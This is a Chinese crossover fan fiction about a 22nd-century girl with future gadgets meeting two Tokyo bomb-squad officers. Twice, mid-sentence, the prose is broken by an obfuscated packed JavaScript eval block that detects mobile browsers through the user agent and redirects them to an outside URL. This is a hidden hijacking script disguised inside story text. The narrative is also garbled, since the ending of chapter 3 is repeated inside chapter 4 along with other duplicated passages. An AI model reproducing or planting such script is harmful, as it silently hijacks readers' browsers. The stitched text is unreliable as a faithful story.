《[哆啦A梦+名柯]野比春子穿越事件簿》 3. 春子VS松田阵平(下) 松田阵平啧了一声,目光紧紧盯着我手里的睡眠枪。 “不求饶是吧?那就让你睡个好觉!”我看他不服软,也不再废话,瞄准他毫不犹豫地扣动了扳机。 “biu——” 没有子弹,没有激光,只有一个拳头大小半透明的肥皂泡状物体,从枪口迅速飞出,飘飘悠悠却又速度不慢地射向松田阵平。 “小阵平小心!”萩原研二脸色一变,几乎是想都没想,一个箭步冲到了松田阵平身前。 “hagi!”松田阵平显然也没料到萩原研二会突然冲出来,他想伸手拉他已经来不及了。 啪! 那个泡泡不偏不倚,正正击中了萩原研二的胸口,悄无声息地碎裂开来,化作点点微光没入他体内。 萩原研二的身体猛地一晃,眼神瞬间变得迷离涣散。 “hagi!”松田阵平惊愕的声音响起,一把扶住他倒下的身体。 萩原研二的眼睛已经闭上了,呼吸平稳,脸上甚至带着点舒适的睡意,仿佛只是陷入了深沉的睡眠,但在松田阵平看来,一个活生生的人被未知的“枪”击中后瞬间失去意识,这足以让他浑身的血液都快凝固了。 他颤抖着手,迅速探向萩原研二的颈动脉和鼻息,指尖感受到平稳有力的脉搏和温热的呼吸后,他才猛地松了一口气,但随即,他抬起头看向我,脸色阴沉得可怕,那双隔着墨镜的眼睛仿佛能喷出火来,“你对他做了什么?!” 我被他凶恶的眼神吓了一跳,下意识地后退一步,结结巴巴道:“我、我说了啊,是睡眠枪……他只是睡着了,睡够了就会醒……” 但看松田阵平那副仿佛要吃了我的表情,我见势不妙,当机立断,趁他注意力还在萩原研二身上,我手忙脚乱地从四次元皮包里掏出一扇粉色的、带门框和把手的门——【任意门】。 “今天就这么算了,我不打了!”我语速飞快,一把拉开任意门,门后显示的是一条看起来陌生的街道,“我走了,再见……哦不,再也不见!” 然而,松田阵平的反应快得惊人,在我拉开门的瞬间,他就如同猎豹般冲了过来。 我吓得魂飞魄散,一头扎进门里,甚至来不及关门,也顾不上去收那扇还立在原地的任意门。 …… 宽阔的马路,车流不息,人行道上的路人步履匆匆。 突然,人行道中央凭空出现了一扇粉红色的门,门敞开着,门内依稀能看到一个整洁的房间景象。 这超越常识的一幕让路过的行人们纷纷侧目,有人惊讶地停下脚步,有人指指点点,但奇怪的是,并没有人发出尖叫或恐慌,大多数人只是好奇地看了几眼,然后就像接受了某种“这里临时搭了个奇怪布景”的解释一样,摇摇头继续走自己的路了。 我气喘吁吁地从门里跑出来,差点撞到一个提着菜篮的老奶奶。 “对不起!”我匆忙道歉,回头一看,心脏差点跳出嗓子眼——松田阵平那个阴魂不散的家伙,竟然也紧跟着从任意门里冲了出来。 “站住!”他厉声道,大步流星地追来,他跑起来的速度极快,西装外套被风带起,哪怕在有些凌乱的追逐中,也带着一股惊人的气势。 “才不要!”我尖叫一声,使出吃奶的劲往前跑,我害怕极了,脑子里全是“被他抓住肯定会很惨”“说不定会被关起来”“这个警察好可怕”之类的念头。 我慌不择路地跑过一个拐角,冲进一个十字路口,就在这时,侧面突然传来刺耳的汽车喇叭声。 我猛地转头,只见一辆轿车正以不低的速度朝我驶来,司机似乎也没料到会有人突然从拐角冲出来,正在拼命踩刹车,但距离太近了。 我大脑一片空白,身体僵在原地,眼睁睁看着车头在眼前急速放大,身体却像灌了铅一样动弹不得。 完了!要撞上了! 就在这千钧一发之际,我旁边猛地冲过来一个人影,带着一股劲风,狠狠地撞在我身上。 “砰!” 我被撞得向侧方飞扑出去,紧接着天旋地转,被人紧紧抱住,在地上连滚了好几圈,在翻滚中,我清晰地听到近距离传来的一声压抑的闷哼。 耳边是轮胎摩擦地面的尖锐声响,还有汽车呼啸而过的风声。 等一切停下来,冲击的眩晕感尚未完全消退,我惊魂未定地睁开眼,却发现视线被一片带着淡淡烟草味和灰尘气息的黑色布料占据,我竟然正整个人趴在一个人的身上,脸埋在他的胸膛,能感受到衬衫下紧实肌肉的轮廓和略显急促的心跳,他的手臂,正紧紧地环着我的背,将我牢牢护在怀里,另一只手则垫在了我的后脑勺附近。 我抬起头,对上了一双近在咫尺的凫青色眼睛,是松田阵平,他额前的卷发有些凌乱,墨镜不知道掉到哪里去了,眉头因为疼痛而紧锁着,唇线也微微抿起,正低头看着我,呼吸带着克制的急促。 我回过神来,赶紧手忙脚乱地从他身上爬起来,看到他躺在地上,眉头微蹙,似乎也摔得不轻,他的西装外套和衬衫在滚动中沾满了灰尘,但他似乎毫不在意,立刻用手肘支撑着坐了起来。 “谢、谢谢你……”我惊魂未定,声音还有点发抖,刚才要不是他,我可能真的就……想到那个画面,我一阵后怕,看向他的目光也复杂起来,这个嘴坏又爱欺负人的卷毛,关键时刻竟然会毫不犹豫地救我…… 松田阵平坐起身,甩了甩头,似乎让自己更清醒些。他抬头看了我一眼,没说话,然后动作利落地站了起来。 我还以为他会说点什么,比如“你没事吧”或者“下次看路”之类的。 但我错了。 他站起来后的第一件事,竟然是猛地一步上前,再次抓住了我的两只手腕,这次他的力道比之前在房间里时更大,攥得我生疼。 “诶?你干嘛?”我下意识想抽回手。 松田阵平没回答,动作快得惊人,他直接用单手就牢牢扣住了我两只手腕的手腕,另一只手飞快地解开了自己脖子上那条已经歪斜的蓝色领带,然后以我根本看不清的速度,用领带把我的两只手腕并在一起,绕了几圈,打了个结实又难以挣脱的结。 “喂!松田阵平!你绑我干什么?!”我彻底懵了,挣扎起来,但双手被绑,根本使不上力。 “防止你再从那个小包里掏东西逃跑。”松田阵平站起身,拍了拍身上的灰,居高临下地看着我,脸色依旧严肃,“现在,跟我回去。” “回去干嘛?!萩原先生不是睡着了吗?睡醒了就好了啊!”我试图讲道理。 “不行。”松田阵平语气斩钉截铁,一把抓住绑着我手腕的领带另一端,像牵着犯人似的,拉着我就往刚才跑来的方向走,“他还没醒,你得回去,确保他没事,或者把他弄醒。” “我说了他只是睡着了,睡眠枪没有副作用的!”我被他扯得踉踉跄跄,气得直跳脚,但力量悬殊,根本拗不过他。 跑也跑不掉,打也打不过,道具……现在手被绑着,也掏不出来,可恶! 很快,我们回到了那个凭空立在路边的粉色任意门前,周围的几个路人好奇地打量着这扇奇怪的门,以及被绑着手、被一个高大英俊但脸色不善的男人“押送”回来的我,但他们的目光大多只是好奇一瞥,并没有表现出极度的震惊或恐慌,仿佛这扇门只是某个行为艺术或者拍摄道具。 松田阵平也注意到了这一点,眉头微皱,但现在他更关心萩原研二的情况,没时间深究,他一把将我推进了敞开的任意门:“进去!” 穿过门,场景瞬间切换回那个熟悉的房间,萩原研二还躺在沙发上,睡得正香,甚至发出了轻微的鼾声。 松田阵平快步走到沙发边,再次检查了萩原研二的呼吸和脉搏,确认依旧平稳后,脸色才稍微缓和了一些,但他仍然不放心,转头看向被绑着手、气呼呼盘腿坐在地板上的我:“他什么时候能醒?” “我怎么知道,每个人对睡眠能量的吸收速度不一样啊,可能几分钟,也可能一两个小时。”我没好气地说,一屁股盘腿坐在地板上,手腕还被绑着,气呼呼地鼓着脸。 松田阵平皱了皱眉,但看萩原研二确实不像有危险的样子,暂时也没再逼问我,他的注意力,很快被房间里这扇粉色的任意门吸引了。 他走到任意门前,上下打量着这扇看起来轻薄得像木板、却连通了两个空间的神奇门扉,门内是他的房间,门外是车水马龙的街道,眼中闪烁着强烈的好奇和探究欲。 “这到底是什么?”他问,手指碰了碰门框,发现无论是摸起来还是看起来都是木板的材质的样子。 我气呼呼地坐在地板上,被绑着手腕很不舒服,看在他救了我一次的份上,勉强解释一下:“这叫任意门,只要心里想着具体的地点,打开门就能到达。不过有距离限制,只能去十光年以内、并且地图上有记录的地方。” “十光年以内……”松田阵平重复着这个词汇,作为理工生,他太明白这意味着什么了,他再次看向任意门,又看了看我腰间的四次元皮包,最后目光落在我身上,眼神复杂,“22世纪……时光机、反重力飞行器、瞬间移动门……你们的科技已经发展到这种程度了?” “那当然~”闻言,我忍不住又有点小得意,“比你们现在先进多了好吗?” 松田阵平显然对这个任意门兴趣极大,他小心翼翼地将门关上,尝试着握住门把手,心里似乎默念了一个地点,然后猛地拉开—— 门外,不再是东京的街道,而是一片在夕阳下泛着金光的沙滩,海浪轻柔地拍打着海岸,咸湿的海风瞬间灌入房间。 “神奈川……湘南海岸?”松田阵平低声自语,眼中闪过难以置信的光芒,他关上门,又试了一次,这次门外变成了古老精致的浅草寺。 “真的……任何地方都能去……”他喃喃自语,脸上露出混合着震撼、兴奋和不可思议的表情。 他忽然又问道:“为什么刚才在街上,路人看到这扇门突然出现,反应……不算特别大?”作为警察,他对民众的反应很敏感,看到虽然有人惊讶,但远没有达到“见鬼了”或者“科幻成真”那种轰动程度。 “哦,这个啊。”我晃了晃被绑着的手,示意他先给我解开,但他不为所动,我只好继续说,“未来出售的道具,一般都自带基础的‘认知干扰模因’或者‘合理化滤镜’功能,对于生活时代不符的目击者,会自动忽略异常,或者脑补出一个合理的解释,不会引起太大的社会恐慌或关注,算是为了维护时间线稳定和避免麻烦的标配啦。” 松田阵平若有所思:“所以普通路人看到任意门,只会觉得有点奇怪,但不会深究?” “差不多,除非道具本身正在造成明显危害,或者目击者意志特别坚定、对异常现象接受度特别低,模因效果会打折扣。”我解释道。 松田阵平点点头,目光扫过我和萩原研二:“那我和hagi为什么……我们刚才看到竹蜻蜓和你飞起来的时候,可没有被‘干扰’得觉得理所当然。” 我想了想:“可能是你们俩天生对这类认知干扰的抗性比较强?能抵抗模因污染能力的人在人群里比例很低,但不是没有。” 我们正说着,沙发上传来一声含糊的呻吟。 “唔……”萩原研二缓缓睁开了眼睛,眼神带着刚睡醒的迷茫,他坐起身,揉了揉太阳穴,随即看到了房间里的景象:那扇伫立的粉色任意门,被领带绑着手坐在地板上的我,以及正站在门边、西装皱巴巴但眼神发亮的松田阵平。 “……我这是……睡了多久?”萩原研二的声音还有些沙哑,他晃了晃脑袋,记忆逐渐回笼,“对了,那个泡泡……春子小姐,你那个枪……” “萩原先生,你醒啦!”我立刻像看到救星一样,“快让你这个蛮横的搭档把我放开!你只是睡着了,我都说没危险了!” 萩原研二看向松田阵平,眼神带着询问。 松田阵平走过来,又仔细看了看萩原研二的气色,确认他确实除了刚睡醒有点懵之外一切正常,这才“啧”了一声,走到我面前,蹲下身,解开了绑着我手腕的领带。 手腕被勒得有些发麻,我赶紧活动了一下,气鼓鼓地瞪了他一眼。 萩原研二也走了过来,他的态度依旧温和,甚至还带着点歉意:“抱歉,野比小姐,让你受惊了,小阵平也是担心我,方式有点……急躁,我代他向你道歉。” 他这么好说话,我倒不好意思继续生气了,我摆摆手:“算了算了,也是我不好,不该随便用道具攻击人……虽然是他先欺负我的!”我又瞪了松田阵平一眼。 松田阵平把领带重新系回脖子上,虽然衬衫西装皱巴巴,但系上领带后,那股随性不羁的帅气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“任意门不行!”我立刻抱住旁边的门框,“我自己也要用,而且这东西万一被别人拿走乱用,引发时空混乱或者社会问题,未来世界的相关部门会找我算账的!”想到时空管理局那些冷面官员,我就头皮发麻。 “不过……”我话锋一转,看到他和萩原研二瞬间亮起来的眼神,觉得有点好笑,“竹蜻蜓嘛……那个比较便宜,算是未来世界的‘平价交通工具’,送你一个玩也行。”毕竟害人家搭档睡了一觉,还让人家追了我半条街。 “真的可以吗?野比小姐?”萩原研二闻言,立刻凑了过来,紫眸里满是期待。 松田阵平也明显有些意外,但眼中笑意加深。 看着眼前这两位帅哥用这种期待又灼热的目光看着我,我……我有点顶不住。 我从四次元皮包里又掏出一个崭新的竹蜻蜓,递给松田阵平:“喏,给你,使用方法很简单,戴头上就行,靠意念控制方向和升降,最高时速大概80公里,可以连续飞行8小时左右,没电了休息20小时能自动充满。” 松田阵平接过那个看似廉价的塑料玩具,动作却有些郑重,他和萩原研二立刻凑到一起,翻来覆去地研究起来。 我把任意门关上,抱起它把它塞回了自己包里。 “好了。”我拍拍手,“竹蜻蜓送你了,不过这个很便宜,不能算作报答你的人情,刚才说的帮你一次,依然有效。以后如果你有什么需要我帮忙的,当然是合法合理的、我能做到的,可以找我,我会帮你一次。” 说着,我再次把手伸进四次元皮包,摸索了一下,又掏出一个全新的竹蜻蜓,我把竹蜻蜓戴在头上,叶片立刻嗡嗡地旋转起来,我整个人也随之轻盈地浮起,离地半米左右。 松田阵平手里还拿着我送他的那个竹蜻蜓,和萩原研二一起抬头看着我,萩原研二笑着挥手:“野比小姐,路上小心,欢迎再来。” 松田阵平也抬起头,墨镜后的目光似乎在我脸上停留了一瞬,最后只是淡淡地说了一句:“别再掉到奇怪的地方了。” “知道啦。”我悬在半空,朝他们做了个鬼脸,“我才不会那么倒霉呢,再见啦,两位警官先生!” 我控制着竹蜻蜓,开始缓缓向房间天花板的方向升去,随着我的召唤,房间天花板的正中央开始扭曲、波动,很快,一个直径约一米的、边缘流淌着无数细密时钟虚影的圆形入口缓缓成型。 “哇哦……”萩原研二忍不住发出一声惊叹,仰头看着这超越常识的景象,紫罗兰色的眼眸里映照着流转的七彩光芒。 松田阵平也紧紧盯着那个入口,表情紧绷,握着竹蜻蜓的手指下意识收紧,显然,即使已经见识了竹蜻蜓和任意门,亲眼看到这种直接在天花板上开辟时空通道的景象,依然带给他极大的震撼。 “那么,我真的走啦!”我最后朝他们挥了挥手,然后操纵竹蜻蜓,身体灵巧地向上一窜,径直飞入了那个旋转的时空入口。 紧接着,天花板上的圆形入口如同它出现时一样,开始迅速收缩,短短几秒钟内,便消失得无影无踪,只留下洁白平整的天花板,仿佛刚才那神奇的一幕从未发生过。 房间里,只剩下松田阵平和萩原研二,以及他们手中那个代表着另一个时代科技的,小小的竹蜻蜓。 两人对视一眼,都从对方眼中看到了兴奋和惊奇。 萩原研二笑着摇头:“真是……不可思议的一天啊,小阵平。” 松田阵平没说话,只是拿起竹蜻蜓,犹豫了一下,小心翼翼地戴在了自己头上,竹蜻蜓的叶片快速转动起来,发出细微的嗡鸣。 在萩原研二惊讶又期待的目光中,松田阵平的双脚,缓缓离开了地面。 他悬浮在空中,感受着失重的奇妙感觉,低头看了看自己的双手,又看了看下方含笑的好友,那张总是没什么表情的俊脸上,终于露出了一个毫不掩饰的带着惊奇的笑容。 “真是……”他低声感叹,控制着身体在房间里缓慢飘行,“了不起的未来科技。” 萩原研二仰头看着他,紫罗兰色的眼眸里也满是笑意:“喂,小阵平,玩够了换我试试!说好了轮流研究的!” 两人就这样轮流玩了半个多小时。 “那么……”松田阵平勾起嘴角,从萩原研二手里拿过竹蜻蜓,“该下一步了。” “喂喂,小阵平,你该不会是想……”萩原研二看着他掏出随身携带的螺丝刀,脸色一变。 松田阵平已经小心翼翼地将竹蜻蜓放在桌上,螺丝刀对准了叶片根部一个几乎看不见的缝隙。 “当然是要看看。”他头也不抬,语气里充满了探究的兴奋,“这里面到底是什么构造,能让它飞起来。” 萩原研二看着好友这副模样,无奈地扶额,但眼中也充满了笑意和期待。 4.再见松田和萩原 “小阵平,你们没事吧?”另一个熟悉的声音响起,萩原研二快步跑了过来。 我这才完全回过神来,发现自己正以一种极其暧昧的姿势趴在松田阵平身上,他的手臂还环在我的腰上,保护性地护着。 “没、没事……”我赶紧手忙脚乱地爬起来,脸有点发烫,“谢谢你……救了我。” 松田阵平也坐起身,拍了拍西装上的灰尘,重新戴好墨镜,语气还是那么欠揍:“未来人连过马路看车都不会?” “我、我没想到那辆车会突然冲出来……”我小声辩解,然后看向他和萩原研二,“你们怎么会在这里?” “我们正要去吃饭。”萩原研二解释道,紫罗兰色的眼眸里带着笑意和一丝审视,“走到这边就看见你差点被撞到,小阵平想都没想就冲过去了。” 他说着,目光在我和松田阵平之间转了一圈,笑容更深了:“看来我们和野比小姐真的很有缘呢,昨天刚见过,今天又碰上了。” 我悄悄抬起眼,飞快地瞥了松田阵平一眼,又立刻垂下视线,心里有些尴尬。 这、这也太巧了吧?!昨天刚在他脸上画完“大作”,今天就被他救了……虽然昨天是他先欺负人,但一码归一码,救命之恩是实打实的,我甚至能回想起时间暂停时,自己拿着记号笔在他脸上创作时那份得意洋洋的心情,还有他额头上那个墨迹未干的“王”字…… 现在看着他就站在我面前,墨镜下的表情看不真切,但那股生人勿近的气场似乎比昨天更冷硬了点,该不会还在记仇吧?虽然被画花脸确实很丢人,可、可那也是他先动的手啊! 我偷偷又瞄了他一眼,发现他正微微活动了一下刚才垫在我脑后的左手手腕。 “那个司机已经道歉了,看起来不是故意的,应该就是分心了。”萩原研二对走过来的司机说了几句,对方再三道歉后开车离开了。 “你们要去吃饭?”我问,“远吗?” “不算远,大概两三公里外的一家店。”萩原研二笑道,“叫蓝屋,是一家不错的家庭料理餐厅。” 两三公里……走路要半个多小时呢。 我想了想,从四次元皮包里掏出了任意门。 “我可以送你们去。” 松田阵平和萩原研二同时看向我手里凭空出现的粉色门扉,两人脸上再次露出了那种“世界观受到冲击”的表情。 我在繁华的街道上直接把门立起来,转动门把手。 门开了,对面赫然是蓝屋家庭料理店的店门,透过门还能看到里面温暖的灯光和隐约的人影。 “这……”萩原研二惊讶地看了看门,又看了看周围的路人。 “这是任意门。”我介绍道。 松田阵平的反应更快,他敏锐地注意到,虽然有几个路人朝他们这边投来了好奇的目光,但那种反应更像是“这几个人在街上摆了个奇怪的门道具”,而不是“有人凭空变出了一扇连接两地的魔法门”的震惊。 “为什么路人的反应……”松田阵平皱眉问道。 我一边示意他们进门,一边解释道:“未来出售的道具,一般都自带基础的‘认知干扰模因’或者‘合理化滤镜’功能,对于生活时代不符的目击者,会自动忽略异常,或者脑补出一个合理的解释,不会引起太大的社会恐慌或关注,算是为了维护时间线稳定和避免麻烦的标配啦。” “所以普通路人看到任意门,只会觉得有点奇怪,但不会深究?”萩原研二若有所思。 “差不多,除非道具本身正在造成明显危害,或者目击者意志特别坚定、对异常现象接受度特别低,模因效果会打折扣。”我点点头。 松田阵平伸手摸了摸门的边框,触感摸起来就是普通的木板:“那我和hagi为什么……我们之前看到竹蜻蜓和你飞起来的时候,可没有被‘干扰’得觉得理所当然。” 我歪头想了想:“可能是你们俩天生对这类认知干扰的抗性比较强?能抵抗模因污染能力的人在人群里比例很低,但不是没有,尤其是……”我瞥了松田阵平一眼,“像你这样疑心病重又固执的家伙。” 松田阵平轻哼一声,没反驳。 “好啦,快进去吧,站在街上说话好奇怪。”我催促道。 萩原研二率先跨过门,松田阵平紧随其后,我最后一个进去,然后关上门,把任意门收回包里。 我们三人已经站在了家庭料理店门口。 “真是……不可思议的技术。”萩原研二回头看了看我们刚才所在的街道方向,感叹道,“两三公里的距离,一步就跨过来了。” “未来科技,厉害吧?”我得意地扬起下巴。 “进来一起吃吧,野比小姐。”萩原研二温和地邀请,“非常谢谢你送我们一程。” 我看了看松田阵平,他虽然没有说话,但也没有反对的意思。 “好啊。”我开心地点头,“不过说好了,我可没钱付哦!” “那倒不用……”萩原研二笑道。 我们三人走进料理店,找了个安静的角落坐下,萩原研二绅士地递过菜单让我先点单,我看了看菜单,点了几样看起来不错的菜。 等服务员走后,我清了清嗓子,看向松田阵平:“喂,卷毛。” 松田阵平转过头,挑了挑眉。 “虽然你昨天很过分。”我掰着手指数,“拧我手腕、弹我脑门、虽然我已经还回去了——”我指了指他的脸,暗示时间暂停器的事,“但是,刚才在马路那边,你救了我一次,这是事实。” 我顿了顿,不太情愿但认真地说:“我这个人,有恩必报,说吧,你有什么想要的?或者需要我帮什么忙?只要不违反法律,并且在我能力范围内,我可以帮你一次,当做报答。” 我挺直腰板,努力让自己看起来可靠一点:“当然,太过分的要求可不行!” 松田阵平看着我,墨镜后的眼神看不真切,但他嘴角似乎弯了一下:“报答?不用了,我没指望这个。” “那不行,我说了有恩必报!”我坚持道。 松田阵平沉吟了一下,目光飘向我的四次元皮包,最后开口道:“如果你非要‘报答’……那把任意门,或者那个竹蜻蜓,借我研究两天?” 我就知道,他果然在打道具的主意! “任意门不行!”我摇了摇脑袋,“我自己也要用,而且这东西万一被别人拿走乱用,引发时空混乱或者社会问题,未来世界的相关部门会找我算账的。” “不过……”我话锋一转,看到他和萩原研二瞬间亮起来的眼神,觉得有点好笑,“竹蜻蜓嘛……那个比较便宜,算是未来世界的‘平价交通工具’,送你一个玩也行。” “真的可以吗?野比小姐?”萩原研二闻言,立刻凑了过来,紫眸里满是期待。 松田阵平也明显有些意外,但眼中笑意加深。 看着眼前这两位帅哥用这种期待又灼热的目光看着我,我……我有点顶不住。 我从四次元皮包里又掏出一个崭新的竹蜻蜓,递给松田阵平:“喏,给你,使用方法很简单,戴头上就行,靠意念控制方向和升降,最高时速大概80公里,可以连续飞行8小时左右,没电了休息20小时能自动充满。” 松田阵平接过那个看似像廉价玩具的未来道具,动作却有些郑重,他和萩原研二立刻凑到一起,翻来覆去地研究起来。 “好了。”我拍拍手,“竹蜻蜓送你了,不过这个很便宜,不能算作报答你的人情,刚才说的帮你一次,依然有效。以后如果你有什么需要我帮忙的,当然是合法合理的、我能做到的,可以找我,我会帮你一次。” 萩原研二抬起头,笑意盈盈又真诚的说道:“野比小姐,真是太感谢了,这份礼物可太珍贵了。”虽然竹蜻蜓在对方口中是便宜货,但对他们而言,这无疑是打开新世界大门的一把钥匙。 松田阵平倒是没说什么客套话,只是拿着那个小小的竹蜻蜓,翻来覆去地看,不过,俗话说拿人手短,他脸上那股“生人勿近”的冷酷气场,此刻确实消散了不少,虽然表情还是淡淡的,但至少不像昨天那样浑身带刺了。 “三位客人,这是你们点的餐。”服务员适时地送上了料理,暂时打断了他们对未来道具的研究。 “哇,看起来好好吃!”我眼睛一亮,暂时把竹蜻蜓的事抛到脑后,拿起筷子跃跃欲试。 萩原研二笑着将餐盘往我这边推了推:“野比小姐别客气,请用,说起来,我们都还不知道22世纪到底是什么样的呢?方便说说吗?一定非常科幻吧?” 我咽下一口美味的炸虾天妇罗,想了想,开始描述:“嗯……科技高度发达是肯定的啦,城市里到处都是悬浮车道和全息投影,家用机器人普及,很多体力劳动和重复性工作都被自动化了,环境也比现在好很多,清洁能源是主流,天空经常是蓝的哦!生活上很方便,比如购物,直接在全息屏幕上点一下,很快就能送货上门……唔,总体来说,算是个半乌托邦社会吧,大多数人不用为基本生存发愁,有更多时间追求自己喜欢的事情。” “听起来真不错。”萩原研二感叹,“那野比小姐现在还在上学吗?看起来还很年轻呢。” “我啊,刚满18岁,还在读高中。”我咬着吸管,喝了口果汁,“不过我们未来的学制和你们不太一样,更注重个性化发展啦。” “18岁?那比我们小几岁呢。”萩原研二笑道,“我和小阵平都已经22岁了。” “那你们呢?”我反问,“你们是什么警察?刑警?交警?”看他们这西装革履又身手不凡的样子,实在不好猜。 “我们是警视厅警备部爆·炸物处理班的。”萩原研二介绍道,语气里带着一丝职业的认真与淡淡的自豪,“简单说,就是拆弹警察。” “拆、拆弹?!”我差点被果汁呛到,睁大了眼睛,“就是处理炸弹的那种?那不是超级危险吗!听说炸弹稍微弄不好就会……而且这个时代还没有专门负责拆弹的机器人吧?”22世纪当然有更安全高效的排爆机器人,但21世纪显然还得靠人力。 松田阵平这时才抬眼瞥了我一下,语气平淡无波:“习惯就好,害怕就别干这行。” “话是这么说……”我小声嘀咕,看向他们的眼神里不由得带上了一点敬佩和担忧,真人去拆那些危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091291|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的炸弹,光是想想就觉得头皮发麻。 “未来犯罪率高吗?都用些什么手段?”松田阵平忽然问,凫青色的眼睛透过镜片看着我,带着专业的审视和好奇。 “总体犯罪率比你们现在低很多啦,但肯定还是有犯罪的。”我托着下巴,“手段嘛……高科技犯罪比例上升,比如网络入侵、意识窃取、基因层面搞破坏之类的,不过相对应的,侦破技术和防范手段也更先进。” 他点了点头,目光落在我脸上,忽然问了个有点跳跃的问题:“你经常这样穿越时间?不会扰乱时间线吗?或者说,你们没有相关法律约束?” “理论上,时间有很强的自我修正能力。”我认真解释道,“只要不做出太离谱的事——比如改变重大历史事件的结果,或者干涉关键人物的核心命运轨迹,一般的小打小闹,时间线会自动修复偏差,当然,我们也有严格的法律,《航时法》规定不能随意干涉过去以改变历史或谋取私利,时空管理局和时空警察就是专门监管这个的,打击利用时间旅行或未来道具进行的犯罪。” “时空管理局?时间警察?”萩原研二饶有兴趣地重复,“听起来像是科幻电影里的机构。” “差不多就是那种感觉啦。”我比划着,“时空管理局负责制定规则、管理时间旅行许可、监控时间流稳定;而时空警察则更像执法者,他们装备精良,有权逮捕任何违反《航时法》的人,不管是来自哪个时代,要是被他们盯上,可就麻烦大了。” 我想起自己那十年的禁令,心有余悸地缩了缩脖子。 两个21世纪的警察听得津津有味,这些对于他们而言完全是另一个维度的知识,从这两次接触来看,他们虽然一开始充满警惕,但现在基本能判断,眼前这个来自未来的少女虽然有点调皮、胆大,身上带着一堆不可思议的道具,但本性单纯,并非怀有恶意之徒,这种跨越时空的奇妙遭遇,反而让他们觉得颇为新奇。 我饱餐一顿后,心满意足地摸摸肚子,“多谢款待,真的很好吃。” “野比小姐喜欢就好。”萩原研二笑道。 “好了,该送你们回去了吧?是回警察宿舍?”我掏出任意门。 “对,麻烦野比小姐了。”萩原研二点头。 我再次设定好坐标,拉开粉色的门扉,对面正是松田阵平那个简洁的房间。 萩原研二率先跨过去,笑着回头:“野比小姐,今天真的很感谢,不仅送了珍贵的礼物,还让我们听到了这么多有趣的事。” “松田君。”我叫住他。 松田阵平走到门边,停顿了一下,回头看我,墨镜遮住了他的眼神,但我能感觉到他的目光。 我抿了抿唇,看着他,虽然还是有点气他昨天的粗鲁和毒舌,但救命之恩是实实在在的,我偏过头,声音不大但清晰地说:“松田君,昨天的事扯平了,但今天……谢谢你救了我,真的。” 松田阵平似乎愣了一下,随即,他勾起嘴角,虽然语气依旧那么拽,却少了些锋芒:“嗯,下次过马路看着点,未来人小朋友。” “知道啦。”我朝他们做了个鬼脸,“我才不会那么倒霉呢,再见啦,两位警官先生!” 说完,他转身走进了任意门。 萩原研二在门那边对我挥手,笑容温和:“野比小姐,欢迎下次再来玩啊,带上更多未来的故事!” “有机会的话!” 我也笑着挥手,然后关上了任意门,将它收回包里。 粉色的门关上,然后迅速消失。 房间里,只剩下松田阵平和萩原研二,以及他们手中那个代表着另一个时代科技的,小小的竹蜻蜓。 两人对视一眼,都从对方眼中看到了兴奋和惊奇。 萩原研二笑着摇头:“真是……不可思议的一天啊,小阵平。” 松田阵平没说话,只是拿起竹蜻蜓,犹豫了一下,小心翼翼地戴在了自己头上,竹蜻蜓的叶片快速转动起来,发出细微的嗡鸣。 在萩原研二惊讶又期待的目光中,松田阵平的双脚,缓缓离开了地面。 他悬浮在空中,感受着失重的奇妙感觉,低头看了看自己的双手,又看了看下方含笑的好友,那张总是没什么表情的俊脸上,终于露出了一个毫不掩饰的带着惊奇的笑容。 “真是……”他低声感叹,控制着身体在房间里缓慢飘行,“了不起的未来科技。” 萩原研二仰头看着他,紫罗兰色的眼眸里也满是笑意:“喂,小阵平,玩够了换我试试!说好了轮流研究的!” 两人就这样轮流玩了半个多小时。 “那么……”松田阵平勾起嘴角,从萩原研二手里拿过竹蜻蜓,“该下一步了。” “喂喂,小阵平,你该不会是想……”萩原研二看着他掏出随身携带的螺丝刀,脸色一变。 松田阵平已经小心翼翼地将竹蜻蜓放在桌上,螺丝刀对准了叶片根部一个几乎看不见的缝隙。 “当然是要看看。”他头也不抬,语气里充满了探究的兴奋,“这里面到底是什么构造,能让它飞起来。” 萩原研二看着好友这副模样,无奈地扶额,但眼中也充满了笑意和期待。 5.11月7日(上) 22世纪,某重点高中历史课堂。 下课铃象征性地响了一下,其实早就被更先进的感应系统取代了,但学校为了“保持传统教育的温度”,依然保留了这种复古音效。 讲台上,一脸严肃、留着八字胡的历史老师兼班主任寺小屋荣五郎推了推他的圆眼镜,镜片后的目光像探照灯一样扫过全班,最后精准地定格在我身上。 “这节课就到这里,不过……”他清了清嗓子,声音浑厚,“野比。” 被点到名的我正偷偷在课本下面用光脑看22世纪的搞笑短视频,闻言一个激灵,条件反射般弹起来:“在、在的!” 全班同学的目光齐刷刷射过来,带着看好戏的同情,寺小屋老师踱步到我课桌前,拿起讲台上那份泛着微光的电子成绩单。 “野比,鉴于你之前长达十年的‘时空旅行禁令’。”他说到这里,嘴角似乎抽动了一下,“导致你的‘历史观察与实践’这门课的成绩,一直是个醒目的零分。” 我缩了缩脖子,试图用乖巧的笑容蒙混过关。 “如果你想以全优的成绩顺利毕业,并考入你理想的东京大学历史系,”老师话锋一转,眼镜反着白光,“你需要在高中毕业前,把欠下的历史观察报告全部补上。” 我心里顿时升起不祥的预感。 “最少三十份,主题不能重复。”他平静地吐出数字。 “30份?!”我瞪大眼睛,“老师!这、这也太……” “太什么?”寺小屋老师打断我,胡子翘了翘:“本来按学校规定,你应该补交一百份,这还是我和校领导反复协商后,考虑到你这些年确实无法进行时间旅行,才酌情减到三十份的,每一份都需要你亲自穿越到目标时代,记录风土人情、社会事件或特定人物的活动,不能重复时代,不能重复主题,这是对你过去十年缺失课程的补偿,也是对你历史素养的严肃考核。” “可是——”我试图垂死挣扎,哪个年代的学生在不喜欢做作业这点上都是共通的,“我这些年也在学习历史知识啊,笔试成绩都是A+,能不能——” 